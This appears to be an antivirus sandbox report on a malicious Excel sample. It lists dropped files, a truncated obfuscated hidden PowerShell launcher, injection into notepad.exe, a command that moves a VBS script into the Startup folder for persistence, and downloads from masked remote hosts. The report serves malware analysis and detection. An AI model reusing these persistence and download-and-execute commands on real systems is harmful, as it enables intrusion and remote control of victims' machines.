Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %TEMP%\networks.vbs
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden $ErrorActionPreference='SilentlyContinue';$u4e0b0 = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $u4e0b0 ;$...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $gf=('55155155,51555151,51115515,51115515,51151111,51115515,51555551,51155511,51115155,51151551,51151111,51151115,51515555,51115515,51155151,51155115,51155151,51115515,51155151,51151115,5115551...
Injects code into
the following system processes:
- %WINDIR%\syswow64\notepad.exe
Modifies file system
Creates the following files
- %TEMP%\networks.vbs
- %LOCALAPPDATA%\microsoft\windows\history\history.ie5\mshist012022091420220915\index.dat
- %TEMP%\fb89da67-080e-4074-a2a4-31bfc8785c3e\agiledotnetrt64.dll
- <Current directory>\6fe21000
Modifies the following files
- %TEMP%\javadeployreg.log
Substitutes the following files
- <PATH_SAMPLE>.xls
Network activity
Connects to
- 'hl##ler.ga':80
- 'ta#####rry.duckdns.org':161
- 'ge###ugin.net':80
TCP
HTTP GET requests
- http://hl##ler.ga/adminst/Protected%20Client.vbs
- http://hl##ler.ga/adminst/attack.txt
- http://hl##ler.ga/favicon.ico
- http://hl##ler.ga/adminst/Encrypted%20Client%20OG.jpg
- http://ge###ugin.net/json.gp
Other
- 'ta#####rry.duckdns.org':161
UDP
- DNS ASK hl##ler.ga
- DNS ASK ta#####rry.duckdns.org
- DNS ASK ge###ugin.net
Miscellaneous
Searches for the following windows
- ClassName: 'Static' WindowName: ''
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\wscript.exe' "%TEMP%\networks.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Move-item '%TEMP%\networks.vbs' -Destination '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\networks.vbs'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $gf=('55155155,51555151,51115515,51115515,51151111,51115515,51555551,51155511,51115155,51151551,51151111,51151115,51515555,51115515,51155151,51155115,51155151,51115515,51155151,51151115,5115551...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Move-item '%TEMP%\networks.vbs' -Destination '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\networks.vbs'' (with hidden window)
Executes the following
- '%ProgramFiles%\internet explorer\iexplore.exe' -Embedding
- '%WINDIR%\syswow64\notepad.exe'
